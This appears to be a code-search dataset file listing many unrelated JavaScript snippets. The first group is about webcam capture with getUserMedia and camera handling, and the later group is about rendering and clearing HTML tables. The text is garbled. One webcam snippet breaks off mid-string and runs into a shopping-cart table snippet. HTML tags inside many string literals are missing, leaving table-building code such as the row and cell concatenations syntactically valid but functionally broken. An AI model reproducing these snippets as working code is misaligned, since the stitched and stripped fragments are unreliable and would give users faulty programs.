Promise((resolve) => {\n webcam.onloadedmetadata = () => {\n webcam.width = stream.getVideoTracks()[0].getSettings().width;\n webcam.height = stream.getVideoTracks()[0].getSettings().height;\n canvas.width = stream.getVideoTracks()[0].getSettings().width;\n canvas.height = stream.getVideoTracks()[0].getSettings().height;\n\n canvasDims = [canvas.height, canvas.width];\n\n resolve(webcam);\n };\n });\n }\n}","get camera() {return this._p.camera;}","function setVideoDevice(device) {\n\t\tconsole.log(\"[StationIDReader] Using device for video stream: \");\n\t\tconsole.log(device);\n\t\tif (navigator.getUserMedia) { \n\t\t //navigator.getUserMedia({video: true}, handleVideo, videoError);\n\t\t //navigator.getUserMedia({video: { facingMode: { exact: \"environment\" } } }, handleVideo, videoError);\n\t\t var constraints = {\n\t\t \tvideo: {deviceId: {exact: device.deviceId}}\n\t\t };\n\t\t navigator.getUserMedia(constraints, handleVideo, videoError);\n\t\t}\n\t\telse {\n\t\t\talert(\"unable to create video\")\n\t\t}\n\t}","function captureCamera_candidate(callback) {\n navigator.mediaDevices.getUserMedia({ audio: true, video: true }).then(function(camera) {\n callback(camera);\n }).catch(function(error) {\n alert('Unable to capture your camera. Please check console logs.');\n console.error(error);\n });\n}","get camera () {return this._p.camera;}","setCamera() {\r\n // set up camera\r\n this.camera = new Camera({\r\n time: this.time,\r\n sizes: this.sizes,\r\n renderer: this.renderer,\r\n debug: this.debug,\r\n config: this.config\r\n });\r\n\r\n // add to scene\r\n this.scene.add(this.camera.container);\r\n\r\n // update camera position per frame\r\n this.time.on('update', () => {\r\n if (this.world && this.world.car) { // if car is on the scene\r\n this.camera.target.x = this.world.car.chassis.object.position.x;\r\n this.camera.target.y = this.world.car.chassis.object.position.y;\r\n this.camera.target.z = this.world.car.chassis.object.position.z;\r\n this.camera.direction.x = this.world.car.movement.direction.x;\r\n this.camera.direction.y = this.world.car.movement.direction.y;\r\n }\r\n });\r\n }","function webcamToVideo()\n{\n\tn \t\t\t = navigator\n\tn.getUserMedia = n.getUserMedia || n.webkitGetUserMedia || n.mozGetUserMedia || n.msGetUserMedia;\n\twindow.URL \t = window.URL || window.webkitURL;\n\tn.getUserMedia(\n\t\t{video:true}, \n\t\tfunction(stream)\n\t\t{\n\t\t\tvideo.src = window.URL.createObjectURL(stream);\n\t\t\tlocalMediaStream = stream;\n\t\t},\n\t\tonCameraFail\n\t);\n}","function getVideo() {\n // getting someone's video webcam\n navigator.mediaDevices.getUserMedia({ video: true, audio: false}) // this returns a promise\n .then(localMediaStream => {\n console.log(localMediaStream);\n //video.src = localMediaStream;\n // still need to convert it to some sort of url to make it work\n video.src = window.URL.createObjectURL(localMediaStream); // now it works but only one frame\n video.play(); // now it's a live stream :)\n })\n .catch(err => {\n console.error(`Oupsy Daisy!`, err);\n }); // if it doesn't work shows an error (like oupsy daisy you need to allow acess to the camera)\n}","function requestWebcam(video) {\n return new Promise((resolve, reject) => {\n const options = { video: { height: 420 }, audio: false };\n navigator.mediaDevices\n .getUserMedia(options)\n .then((stream) => {\n video.addEventListener(\n 'loadedmetadata',\n (_) => {\n video.play();\n resolve(video);\n },\n { once: true }\n );\n\n video.srcObject = stream;\n })\n .catch((e) => {\n reject(e);\n });\n });\n}","function reloadVideo()\n{\n // From Mozilla Development Network site\n\n // Older browsers might not implement mediaDevices at all, so we set an empty object first\n if (navigator.mediaDevices === undefined) {\n navigator.mediaDevices = {};\n }\n\n // Some browsers partially implement mediaDevices. We can't just assign an object\n // with getUserMedia as it would overwrite existing properties.\n // Here, we will just add the getUserMedia property if it's missing.\n if (navigator.mediaDevices.getUserMedia === undefined) {\n navigator.mediaDevices.getUserMedia = function(constraints) {\n\n // First get ahold of the legacy getUserMedia, if present\n var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;\n\n // Some browsers just don't implement it - return a rejected promise with an error\n // to keep a consistent interface\n if (!getUserMedia) {\n return Promise.reject(new Error('getUserMedia is not implemented in this browser'));\n }\n\n // Otherwise, wrap the call to the old navigator.getUserMedia with a Promise\n return new Promise(function(resolve, reject) {\n getUserMedia.call(navigator, constraints, resolve, reject);\n });\n }\n }\n\n\n //let constraints = {video: { facingMode: \"environment\" } }\n let constraints = {video: { facingMode: \"environment\" }};\n\n // Acquires the video stream.\n navigator.mediaDevices.getUserMedia(constraints)\n .then((stream) => {\n if (\"srcObject\" in video) {\n video.srcObject = stream;\n } else {\n // Avoid using this in new browsers, as it is going away.\n video.src = window.URL.createObjectURL(stream);\n }\n video.onloadedmetadata = function(e) {\n video.play();\n };\n localMediaStream = stream;\n videoplayer = new VideoPlayer();\n }).catch((reason) => {\n console.error(\"Error in getting camera stream.\");\n alert(\"Camera Stream is not available on this device.\");\n });\n // Clear data, ready to be reused.\n clearText();\n}","function updateViewerCamera(){\n\tif (viewerParams.useTrackball) viewerParams.controls.target = new THREE.Vector3(viewerParams.controlsTarget.x, viewerParams.controlsTarget.y, viewerParams.controlsTarget.z);\n\n\tif (viewerParams.camera){\n\t\tviewerParams.camera.position.set(viewerParams.cameraPosition.x, viewerParams.cameraPosition.y, viewerParams.cameraPosition.z);\n\t\tviewerParams.camera.rotation.set(viewerParams.cameraRotation._x, viewerParams.cameraRotation._y, viewerParams.cameraRotation._z);\n\t\tviewerParams.camera.up.set(viewerParams.cameraUp.x, viewerParams.cameraUp.y, viewerParams.cameraUp.z);\n\t}\n\t//console.log(viewerParams.camera.position, viewerParams.camera.rotation, viewerParams.camera.up);\n}","function startPreview() {\n var captureSettings = new Windows.Media.Capture.MediaCaptureInitializationSettings();\n captureSettings.streamingCaptureMode = Windows.Media.Capture.StreamingCaptureMode.video;\n captureSettings.photoCaptureSource = Windows.Media.Capture.PhotoCaptureSource.videoPreview;\n \n // Enumerate cameras and add find first back camera\n var cameraId = null;\n var deviceInfo = Windows.Devices.Enumeration.DeviceInformation;\n if (deviceInfo) {\n deviceInfo.findAllAsync(Windows.Devices.Enumeration.DeviceClass.videoCapture).done(function (cameras) {\n if (cameras && cameras.length > 0) {\n cameras.forEach(function (camera) {\n if (camera && !cameraId) {\n // Make use of the camera's location if it is available to the description\n var camLocation = camera.enclosureLocation;\n if (camLocation && camLocation.panel === Windows.Devices.Enumeration.Panel.back) {\n cameraId = camera.id;\n }\n }\n });\n }\n if (cameraId) {\n captureSettings.videoDeviceId = cameraId;\n }\n\n capture.initializeAsync(captureSettings).done(function () {\n\n //trying to set focus mode\n var controller = capture.videoDeviceController;\n\n if (controller.focusControl && controller.focusControl.supported) {\n if (controller.focusControl.configure) {\n var focusConfig = new Windows.Media.Devices.FocusSettings();\n focusConfig.autoFocusRange = Windows.Media.Devices.AutoFocusRange.macro;\n\n var supportContinuousFocus = controller.focusControl.supportedFocusModes.indexOf(Windows.Media.Devices.FocusMode.continuous).returnValue;\n var supportAutoFocus = controller.focusControl.supportedFocusModes.indexOf(Windows.Media.Devices.FocusMode.auto).returnValue;\n\n if (supportContinuousFocus) {\n focusConfig.mode = Windows.Media.Devices.FocusMode.continuous;\n } else if (supportAutoFocus) {\n focusConfig.mode = Windows.Media.Devices.FocusMode.auto;\n }\n\n controller.focusControl.configure(focusConfig);\n controller.focusControl.focusAsync();\n }\n }\n\n var deviceProps = controller.getAvailableMediaStreamProperties(Windows.Media.Capture.MediaStreamType.videoRecord);\n\n deviceProps = Array.prototype.slice.call(deviceProps);\n deviceProps = deviceProps.filter(function (prop) {\n // filter out streams with \"unknown\" subtype - causes errors on some devices\n return prop.subtype !== \"Unknown\";\n }).sort(function (propA, propB) {\n // sort properties by resolution\n return propB.width - propA.width;\n });\n\n var maxResProps = deviceProps[0];\n\n controller.setMediaStreamPropertiesAsync(Windows.Media.Capture.MediaStreamType.videoRecord, maxResProps).done(function () {\n capturePreview.src = URL.createObjectURL(capture);\n // handle orientation change\n rotateVideoOnOrientationChange = true;\n capturePreview.onloadeddata = function () {\n updatePreviewForRotation();\n };\n // add event handler - will not work anyway\n window.addEventListener(\"orientationchange\", updatePreviewForRotation, false);\n\n capturePreview.play();\n\n // Insert preview frame and controls into page\n document.body.appendChild(capturePreview);\n document.body.appendChild(capturePreviewAlignmentMark);\n document.body.appendChild(captureCancelButton);\n\n startBarcodeSearch(maxResProps.width, maxResProps.height);\n });\n });\n });\n }\n }","function getVideo() {\n // Returns a promise\n navigator.mediaDevices\n .getUserMedia({ video: true, audio: false })\n .then((localMediaStream) => {\n // console.log(localMediaStream)\n // Take video and set source object to this localMediaStream\n video.srcObject = localMediaStream;\n video.play(); // emits \"canplay\" event\n })\n .catch((err) => {\n console.error(\n 'Oh no, we need your webcam permission in order for this to work!',\n err\n );\n });\n}","function manipulatevideo(){\n if( cameravideo || capturevideo ){\n cameravideo = false;\n capturevideo = false;\n capturestream = null;\n buttonOff(document.querySelector('.app__system--button.video'));\n camerastream.getVideoTracks()[0].enabled = cameravideo;\n document.getElementById('localvideo').srcObject = camerastream;\n //-------------------CREATE NEW PRODUCER-------------------------------------------\n removeOldVideoProducers();\n let videoProducer = mediasouproom.createProducer(camerastream.getVideoTracks()[0]);\n videoProducer.send(sendTransport);\n updatevideo();\n }\n}","function getCameraElement() {\r\n var camera = document.elements.findElementByTypeId(\"Microsoft.VisualStudio.3D.PerspectiveCamera\");\r\n return camera;\r\n}","function get_video(path) {\n //with camera stream, only working if we use video here not with 'var video', but before this point video doesn't exist\n video = video2;\n \n //need to be careful here: in use_webcam() the src Object is set with video.srcObject = stream; not with video.setAttribute(). If we don't reset\n //it to null it seems to override the attributes that are set with setAttribute.\n video.srcObject = null;\n //first I created a seperate source object here, which is complete nonesense\n //it's totally dufficient to add the path from the file picker
    ';\n cell5.innerHTML =\n 'Subtotal: ' +\n item.price * item.numItems +\n \"\";\n cell6.innerHTML =\n '

    Remove

    ';\n }","function rerender_branch_table(tree, test_results, annotations, element) {\n $(element).empty();\n render_branch_table(tree, test_results, annotations, element);\n}","function drawTable() {\n let dow_chart_data = new google.visualization.DataTable();\n dow_chart_data.addColumn('string', 'Δραστηριότητα');\n dow_chart_data.addColumn('string', 'Ημέρα Περισσότερων Εγγραφών');\n dow_chart_data.addRow(['IN_VEHICLE', dow_data['IN_VEHICLE']]);\n dow_chart_data.addRow(['ON_BICYCLE', dow_data['ON_BICYCLE']]);\n dow_chart_data.addRow(['ON_FOOT', dow_data['ON_FOOT']]);\n dow_chart_data.addRow(['RUNNING', dow_data['RUNNING']]);\n dow_chart_data.addRow(['STILL', dow_data['STILL']]);\n dow_chart_data.addRow(['TILTING', dow_data['TILTING']]);\n dow_chart_data.addRow(['UNKNOWN', dow_data['UNKNOWN']]);\n\n var dow_table = new google.visualization.Table(document.getElementById('dow-table-div'));\n dow_table.draw(dow_chart_data, {showRowNumber: false, width: '100%', height: '100%'});\n }","function resetTable() {\n\n // clear the current data\n clearTable();\n \n // use forEach and Object.values to populate the initial table\n tableData.forEach((ufoSighting) => {\n var row = tbody.append(\"tr\");\n Object.values(ufoSighting).forEach(value => {\n var cell = row.append(\"td\");\n cell.text(value);\n cell.attr(\"class\", \"table-style\");\n }); // close second forEach\n }); // close first forEach\n}","function renderTableData(code, changeCurrent) {\r\n const pre = select(`.table-data[data-table-code=\"${code}\"]`)\r\n const tableArray = JSON.parse(pre.textContent)\r\n\r\n if(!changeCurrent) {\r\n currentTable = code\r\n }\r\n\r\n // remove old table content\r\n tableBody.textContent = ''\r\n\r\n tableArray.forEach(obj => {\r\n const specieRow = document.createElement('tr')\r\n // specie link column\r\n const specieLinkCol = document.createElement('td')\r\n const specieLink = document.createElement('a')\r\n specieLink.setAttribute('href', obj.link)\r\n specieLink.textContent = obj.specie\r\n\r\n specieLinkCol.appendChild(specieLink)\r\n\r\n // specie color box\r\n const colorCol = document.createElement('td')\r\n const colorBox = document.createElement('span')\r\n colorBox.classList.add('specie_color-box')\r\n colorBox.style = `background-color: ${obj.color}`\r\n\r\n colorCol.appendChild(colorBox)\r\n\r\n // species months\r\n const monthsCol = document.createElement('td')\r\n const monthsDiv = document.createElement('div')\r\n monthsDiv.classList.add('months')\r\n months.forEach(month => {\r\n const monthBox = document.createElement('span')\r\n monthBox.classList.add('month-box')\r\n\r\n monthsDiv.appendChild(monthBox)\r\n })\r\n\r\n const monthBoxes = selectAll('span.month-box', monthsDiv)\r\n\r\n obj.months.forEach(month => {\r\n monthBoxes[month - 1].classList.add('filled')\r\n })\r\n\r\n monthsCol.appendChild(monthsDiv)\r\n\r\n\r\n // append children to specie\r\n specieRow.appendChild(specieLinkCol)\r\n specieRow.appendChild(colorCol)\r\n specieRow.appendChild(monthsCol)\r\n\r\n tableBody.appendChild(specieRow)\r\n })\r\n }","refreshPage() {\n $(\"#tableMasterHeader tr\").last().remove();\n this.drawFilterForTable(\"#tableMasterHeader\");\n $(\".ASC\").removeClass(\"ASC\");\n $(\".DESC\").removeClass(\"DESC\");\n $(\"#PageSize\").val(50);\n $(\"#offsetRow\").val(1);\n $('#tableMasterHeader th[property=\"RefDate\"]').addClass(\"DESC\");\n var data = this.getValueToLoadData();\n data[\"OrderQuery\"] = resource.OrderBy.RefDateDesc;\n this.order = resource.OrderBy.RefDateDesc;\n this.loadDataMaster(data);\n }","function renderTable() { \r\n $tbody.innerHTML = \"\";\r\n var length = filteredData.length;\r\n for (var i = 0; i < length; i++) {\r\n // Get get the current address object and its fields\r\n var data = filteredData[i]; \r\n var fields = Object.keys(data); \r\n // Create a new row in the tbody, set the index to be i + startingIndex\r\n var $row = $tbody.insertRow(i);\r\n for (var j = 0; j < fields.length; j++) {\r\n // For every field in the address object, create a new cell at set its inner text to be the current value at the current address's field\r\n var field = fields[j];\r\n var $cell = $row.insertCell(j);\r\n $cell.innerText = data[field];\r\n }\r\n }\r\n}","function table_reset() {\n $('.crash-table tbody').html(\"\");\n}","function reset() {\n d3.selectAll(\"#tableVis table tr\").style(\"font-weight\", \"normal\");\n destroyVis();\n colleges = Object.keys(current_json);\n autocomp();\n createVis(current_json, current_csv);\n}","function render_table_chunk() {\n\n $tablehead.text('');\n $tablebody.text('');\n \n chunkdata = alien_data.slice((currentPage-1) * perPage, currentPage * perPage);\n\n try {\n \n //setting up a header\n var $headrow = $tablehead.append(\"tr\");\n Object.keys(alien_data[0]).forEach(item => $headrow.append('td').text(item));\n\n // setting up a table\n chunkdata.forEach(function(item) {\n var $bodyrow = $tablebody.append('tr');\n Object.values(item).forEach(value => $bodyrow.append('td').text(value));\n });\n }\n\n catch (error) {\n console.log('NO data in the dataset');\n $tablehead.append('tr')\n .append('td')\n .text('Sorry we do not have the data you have requested. Please refresh the page and do another search.');\n \n d3.selectAll('.pagination')\n .style('display', 'none'); \n }\n\n $currentpage.text(currentPage);\n window.name = JSON.stringify(alien_data);\n numberOfPages = Math.ceil(alien_data.length / perPage);\n \n}","function refreshTable() {\n\t\tvar partners = [\"piston\", \"plumgrid\"];\n\t\tfor (var i = 0; i < partners.length; i++) {\n\t\t\tdoAjaxSelects(partners[i])\n\t\t}\n\t\tsetTimeout(refreshTable, 1000);\n\t}","function drawAppTable() {\n var idTable = new Array('first_app', 'second_app', 'third_app');\n var inc = 0, i = 1;\n var tdEl;\n // add appointments\n for (var field in jsonAppsPerHour) {\n document.getElementById(idTable[inc]).style.display = \"\";\n console.log(\"in first loop idTable[\" + inc + \"] = \" + idTable[inc]);\n document.getElementById(idTable[inc]).childNodes[i].innerHTML = \n jsonAppsPerHour[field].PatientID;\n i += 2;\n document.getElementById(idTable[inc]).childNodes[i].innerHTML = \n jsonAppsPerHour[field].Fname;\n i += 2;\n document.getElementById(idTable[inc]).childNodes[i].innerHTML = \n jsonAppsPerHour[field].Lname;\n i += 2;\n document.getElementById(idTable[inc]).childNodes[i].innerHTML = \n jsonAppsPerHour[field].DocFullName;\n i += 2;\n document.getElementById(idTable[inc]).childNodes[i].innerHTML = \n jsonAppsPerHour[field].EmployeeID;\n i += 2;\n document.getElementById(idTable[inc]).childNodes[i].innerHTML = \n jsonAppsPerHour[field].AppointmentID;\n \n inc += 1;\n i = 1;\n }\n if (inc < 3) { // have all table rows been filled?\n for (var i = 2;i >= inc; i--) {\n document.getElementById(idTable[i]).style.display = \"none\";\n }\n }\n}","function buildTable(){\n\n}","function renderTable() {\n $tbody.innerHTML = \"\";\n for (var i = 0; i < filteredUFOData.length; i++) {\n\n // Get UFO Data object and its fields\n var UFOdata = filteredUFOData[i];\n var fields = Object.keys(UFOdata);\n\n // Create new row in tbody\n var $row = $tbody.insertRow(i);\n for (var j = 0; j < fields.length; j++) {\n\n // For every field in the UFOData object create a new cell at set its inner text to be the current value at the current address's field\n var field = fields[j];\n var $cell = $row.insertCell(j);\n $cell.innerText = UFOdata[field];\n }\n\n }\n\n}","function init() {\n theTable.innerHTML = '';\n makeHeader();\n for(var i = 0; i < Shop.all.length; i++){\n Shop.all[i].render();\n }\n makeFooter();\n}","function remplirTableau() {\r\n tabIsEmpty = false;\r\n tbody.empty();\r\n var html = \"\";\r\n data.forEach(function (element) {\r\n html = '' +\r\n '' + element.order + '' +\r\n '' + element.activity + '' +\r\n '' + element.manager + '' +\r\n '' + element.numofsub + '' +\r\n '';\r\n tbody.append(html);\r\n });\r\n }","function clearContent(){\n\t$('#output').html('
    ');\n}","function effacerTableau() {\r\n tabIsEmpty = true;\r\n tbody.empty();\r\n }","function reload(){\n\tvar body = document.getElementById(\"body\");\n\twhile(body.firstChild){\n\t\tbody.removeChild(body.firstChild);\n\t}\n\tvar table = document.createElement(\"table\");\n\ttable.id = \"firstTable\";\n\ttable.classList = \"table table-hover\";\n\tvar thead = document.createElement(\"thead\");\n\tthead.id = \"thead\";\n\tthead.classList = \"thead-dark\";\n\tvar tbody = document.createElement(\"tbody\");\n\ttbody.id = \"tbody\";\n\ttable.appendChild(thead);\n\ttable.appendChild(tbody);\n\tbody.appendChild(table);\n}","function drawTable() {\n var id = 1;\n var productData = '';\n\n $(\"#product-table > tbody\").empty();\n\n $.getJSON(\"/Products\", function (data) {\n if (data != 0) {\n $.each(data, function (key, value) {\n productData += '';\n productData += '' + id++ + '';\n productData += ' ' + value.name + '';\n productData += '' + value.code + '';\n productData += '' + value.group_name + '';\n productData += '' + unitArray[value.unit] + '';\n productData += '' + value.description + '';\n productData += ' ';\n productData += '';\n codeOfLastProduct = value.code;\n });\n $(\"#product-table\").append(productData);\n displayTable();\n }\n else {\n removeTable();\n }\n });\n }","renderTable() {\n if (!this.hasSetupRender()) {\n return;\n }\n\n // Iterate through each found schema\n // Each of them will be a table\n this.parsedData.forEach((schemaData, i) => {\n const tbl = document.createElement('table');\n tbl.className = `${this.classNamespace}__table`;\n\n // Caption\n const tblCaption = document.createElement('caption');\n const tblCaptionText = document.createTextNode(`Generated ${this.schemaName} Schema Table #${i + 1}`);\n tblCaption.appendChild(tblCaptionText);\n\n // Table Head\n const tblHead = document.createElement('thead');\n const tblHeadRow = document.createElement('tr');\n const tblHeadTh1 = document.createElement('th');\n const tblHeadTh2 = document.createElement('th');\n const tblHeadTh1Text = document.createTextNode('itemprop');\n const tblHeadTh2Text = document.createTextNode('value');\n tblHeadTh1.appendChild(tblHeadTh1Text);\n tblHeadTh2.appendChild(tblHeadTh2Text);\n tblHeadRow.appendChild(tblHeadTh1);\n tblHeadRow.appendChild(tblHeadTh2);\n tblHead.appendChild(tblHeadRow);\n\n const tblBody = document.createElement('tbody');\n\n generateTableBody(tblBody, schemaData);\n\n // put the in the \n tbl.appendChild(tblCaption);\n tbl.appendChild(tblHead);\n tbl.appendChild(tblBody);\n // appends
    into container\n this.containerEl.appendChild(tbl);\n // sets the border attribute of tbl to 0;\n tbl.setAttribute('border', '0');\n });\n\n // Close table btn\n const closeBtn = document.createElement('button');\n closeBtn.setAttribute('aria-label', 'Close');\n closeBtn.setAttribute('type', 'button');\n closeBtn.className = 'schema-parser__close';\n this.containerEl.appendChild(closeBtn);\n // Add close handler\n closeBtn.addEventListener('click', this.handleClose.bind(this));\n }"],"string":"[\n \"function renderTable() {\\n clearTable();\\n showTable();\\n}\",\n \"function drawtable()\\n{\\n // going to use a template for this!\\n\\n // example table data row { id: \\\"CDL\\\", rank: 1949, \\\"change\\\": 23, \\\"winp\\\" : 84.4, \\\"run\\\" : \\\"wwwwwwwwww\\\" },\\n\\n // need in the item s_players,\\n // {{:rank}}\\n // {{:change}}\\n // {{:id}} - initials\\n // {{:record}} - win percentage\\n // {{:gamerun}} - last ten games results\\n\\n // the template then executes for each of the elements in this.\\n\\n // what player do we want? URL format is player.html/INITIALS\\n playerid = window.location.href.substring(window.location.href.indexOf('?')+1);\\n opponents = get_player_opponents(all_results, playerid);\\n player_results = get_player_results(all_results, playerid, opponents)[0];\\n\\n recent_player_results = get_results_to_display(player_results, playerid, recent_results_to_display);\\n var recent_res_template = $.templates(\\\"#resultTemplate\\\");\\n var htmlOutput = recent_res_template.render(recent_player_results);\\n $(\\\"#rec_res_tbl\\\").html(htmlOutput);\\n\\n var opponents_template = $.templates(\\\"#opponentsTemplate\\\");\\n var opponent_template = create_opponents_template(opponents);\\n var htmlOutput = opponents_template.render(opponent_template);\\n $(\\\"#opponents_tbl\\\").html(htmlOutput);\\n\\n head_to_head = document.getElementById(\\\"opp_res_tbl\\\");\\n head_to_head.setAttribute(\\\"style\\\", \\\"height:\\\" + 15 * player_results.length + \\\"px\\\");\\n\\n slider = document.getElementById(\\\"head_to_head_range\\\");\\n label = document.getElementById(\\\"results_output\\\");\\n\\n for (var ii = 0; ii < opponents.length; ii++)\\n {\\n checkbox = document.getElementById(\\\"opp_check_box_\\\" + opponents[ii]);\\n checkbox.onchange = function() {\\n redraw_head_to_head(slider.value);\\n };\\n }\\n change_opponenet_check_boxes(false);\\n\\n label.value = slider.value; // Display the default slider value\\n // Update the current slider value (each time you drag the slider handle)\\n slider.oninput = function() {\\n label.value = this.value;\\n redraw_head_to_head(this.value);\\n }\\n\\n}\",\n \"function refreshTables() {\\n\\n\\t\\t$(\\\"#biomatcher-data-table\\\").html(\\\"
    Subject IDOligo NameOligo SeqMismatch ToleranceHit Coordinates
    \\\");\\n\\t}\",\n \"redraw() {\\n while (this.tbody.firstChild) {\\n this.tbody.removeChild(this.tbody.firstChild);\\n }\\n var filteredRows = this.filterRows();\\n var orderedRows = this.sortRows(filteredRows);\\n orderedRows.forEach(row => {\\n this.tbody.appendChild(row);\\n });\\n }\",\n \"function refreshData(){\\r\\n\\t\\tvar myTable=$('#'+settings.table_id);\\r\\n\\t\\tmyTable.empty();\\r\\n\\t\\tmyTable.addClass('table');\\r\\n\\t\\tmyTable.addClass('table-bordered');\\r\\n\\t\\tmyTable.addClass('table-striped');\\r\\n\\t\\tmyTable.addClass('table-hover');\\r\\n\\t\\t//add head table\\r\\n\\t\\tvar head=$(\\\"\\\");\\r\\n\\t\\thead.append('\\t\\t\\t\\t\\t\\t\\t\\t');\\r\\n\\t\\tvar tr='';\\r\\n\\t\\tfor(var i=0;i'+settings.table_columns[i]+'';\\r\\n\\t\\t}\\r\\n\\t\\ttr+='';\\r\\n\\t\\thead.append(tr);\\r\\n\\t\\tmyTable.append(head);\\r\\n\\t\\t//add head row\\r\\n\\t\\tvar body=$('');\\r\\n\\t\\tvar rows=[];\\r\\n\\t\\tvar start=0;\\r\\n\\t\\tvar end=settings.table_data.length;\\r\\n\\t\\tif(settings.paging){\\r\\n\\t\\t\\tstart=(settings.page-1)*settings.page_items;\\r\\n\\t\\t\\tend=start+settings.page_items;\\r\\n\\t\\t\\tif(end>settings.table_data.length){\\r\\n\\t\\t\\t\\tend=settings.table_data.length;\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\t\\tfor(var i=start;i'+accounting.formatNumber(row_data[j])+'';\\r\\n\\t\\t\\t\\t}else\\r\\n\\t\\t\\t\\tif(settings.columns_format[j]=='%'){\\r\\n\\t\\t\\t\\t\\ttr+=''+accounting.formatNumber(row_data[j]*100,2)+'%';\\r\\n\\t\\t\\t\\t}else\\r\\n\\t\\t\\t\\tif(settings.columns_format[j]=='money'){\\r\\n\\t\\t\\t\\t\\ttr+=''+accounting.formatMoney(row_data[j])+'';\\r\\n\\t\\t\\t\\t}else\\r\\n\\t\\t\\t\\tif(settings.columns_format[j]=='short date'){\\r\\n\\t\\t\\t\\t\\t\\ttr+=''+verveDateConvert(row_data[j]).format('mmm dd')+'';\\r\\n\\t\\t\\t\\t}else\\r\\n\\t\\t\\t\\tif(settings.columns_format[j]=='date'){\\r\\n\\t\\t\\t\\t\\t\\ttr+=''+verveDateConvert(row_data[j]).format('yyyy-mm-dd')+'';\\r\\n\\t\\t\\t\\t}else{\\r\\n\\t\\t\\t\\t\\ttr+=''+row_data[j]+'';\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\ttr+='';\\r\\n\\t\\t\\trows.push(tr);\\r\\n\\t\\t}\\r\\n\\t\\tbody.append(rows.join(''));\\r\\n\\t\\tmyTable.append(body);\\t\\r\\n\\t\\t\\r\\n\\t\\t//add class sort\\r\\n\\t\\tif(settings.sort_by!=''){\\r\\n\\t\\t\\tvar headArray=myTable.find(\\\"thead tr th.header[title='\\\"+settings.sort_by+\\\"']\\\").addClass('sort');\\r\\n\\t\\t\\tif(settings.sort_type=='asc'){\\r\\n\\t\\t\\t\\tmyTable.find(\\\"thead tr th.header i\\\").removeClass();\\r\\n\\t\\t\\t\\tmyTable.find(\\\"thead tr th.header[title='\\\"+settings.sort_by+\\\"'] i\\\").addClass('fa fa-sort-alpha-asc');\\r\\n\\t\\t\\t}else{\\r\\n\\t\\t\\t\\tmyTable.find(\\\"thead tr th.header i\\\").removeClass();\\r\\n\\t\\t\\t\\tmyTable.find(\\\"thead tr th.header[title='\\\"+settings.sort_by+\\\"'] i\\\").addClass('fa fa-sort-alpha-desc');\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t\\r\\n\\t\\t}\\r\\n\\t\\t//add sort event\\r\\n\\t\\tif(settings.sortable){\\r\\n\\t\\t\\tmyTable.find(\\\"thead tr th.header\\\").click(function(){\\r\\n\\t\\t\\t\\tsettings.sort_by=$(this).attr('title');\\r\\n\\t\\t\\t\\tsort($(this).attr('title'));\\r\\n\\t\\t\\t});\\r\\n\\t\\t}\\r\\n\\t\\t//Add onClick Event\\r\\n\\t\\tmyTable.find(\\\"tbody tr\\\").click(function(){\\r\\n\\t\\t\\tvar tr=$(this);\\r\\n\\t\\t\\tvar row=[];\\r\\n\\t\\t\\ttr.find(\\\"td\\\").each(function(){\\r\\n\\t\\t\\t\\trow.push($(this).html());\\r\\n\\t\\t\\t});\\r\\n\\t\\t\\t\\r\\n\\t\\t\\tsettings.onClickRow(row);\\r\\n\\t\\t});\\r\\n\\t\\t//\\r\\n\\t\\t$('a').click(function(event){\\r\\n\\t\\t\\tconsole.log();\\r\\n\\t\\t\\tif($(this).attr('href')=='#'){\\r\\n\\t\\t\\t\\tevent.preventDefault();\\r\\n\\t\\t\\t}\\r\\n\\t\\t});\\r\\n\\t}\",\n \"function renderTable() {\\n $tbody.innerHTML = \\\"\\\";\\n console.log(\\\"rendering\\\")\\n\\n for (var i = 0; i < tableData.length; i++) {\\n // Get get the current UFO info object and its fields\\n var ufoinfo = tableData[i];\\n var field = Object.keys(ufoinfo);\\n // Create a new row in the tbody, set the index to be i + startingIndex\\n var $row = $tbody.insertRow(i);\\n for (var j = 0; j < field.length; j++) {\\n var field = fields[j];\\n var $cell = $row.insertCell(j);\\n $cell.innerText = ufo[field];\\n }\\n } \\n}\",\n \"function drawTable() {\\n var stat = getState(cm);\\n _replaceSelection(cm, stat.table, insertTexts.table);\\n}\",\n \"function _redrawTable() {\\n if (!_results) {\\n return;\\n }\\n\\n var rows = '';\\n for (var i in _results) {\\n var responder = _results[i];\\n rows += '' +\\n '' + responder.name + '' +\\n '' + responder.occupation + '' +\\n '' + responder.city + ', ' + responder.state + '' +\\n '' + responder.status + '' +\\n '';\\n }\\n\\n $('#responder_results tbody').html(rows);\\n }\",\n \"function redrawTable() {\\n if ($scope.redraw) {\\n return;\\n }\\n // reset display styles so column widths are correct when measured below\\n angular.element(elem.querySelectorAll('thead, tbody, tfoot')).css('display', '');\\n // wrap in $timeout to give table a chance to finish rendering\\n $timeout(function () {\\n $scope.redraw = true;\\n // set widths of columns\\n var totalColumnWidth = 0;\\n angular.forEach(elem.querySelectorAll('tr:first-child th'), function (thElem, i) {\\n var tdElems = elem.querySelector('tbody tr:first-child td:nth-child(' + (i + 1) + ')');\\n var tfElems = elem.querySelector('tfoot tr:first-child td:nth-child(' + (i + 1) + ')');\\n var columnWidth = Math.ceil(elem.querySelectorAll('thead')[0].offsetWidth / (elem.querySelectorAll('thead th').length || 1));\\n if (tdElems) {\\n tdElems.style.width = columnWidth + 'px';\\n }\\n if (thElem) {\\n thElem.style.width = columnWidth + 'px';\\n }\\n if (tfElems) {\\n tfElems.style.width = columnWidth + 'px';\\n }\\n totalColumnWidth = totalColumnWidth + columnWidth;\\n });\\n // set css styles on thead and tbody\\n angular.element(elem.querySelectorAll('thead, tfoot')).css('display', 'block');\\n angular.element(elem.querySelectorAll('tbody')).css({\\n 'display': 'block',\\n 'max-height': $scope.tableMaxHeight || 'inherit',\\n 'overflow': 'auto'\\n });\\n // add missing width to fill the table\\n if (totalColumnWidth < elem.offsetWidth) {\\n var last = elem.querySelector('tbody tr:first-child td:last-child');\\n if (last) {\\n last.style.width = (last.offsetWidth + elem.offsetWidth - totalColumnWidth) + 'px';\\n last = elem.querySelector('thead tr:first-child th:last-child');\\n last.style.width = (last.offsetWidth + elem.offsetWidth - totalColumnWidth) + 'px';\\n }\\n }\\n // reduce width of last column by width of scrollbar\\n var tbody = elem.querySelector('tbody');\\n var scrollBarWidth = tbody.offsetWidth - 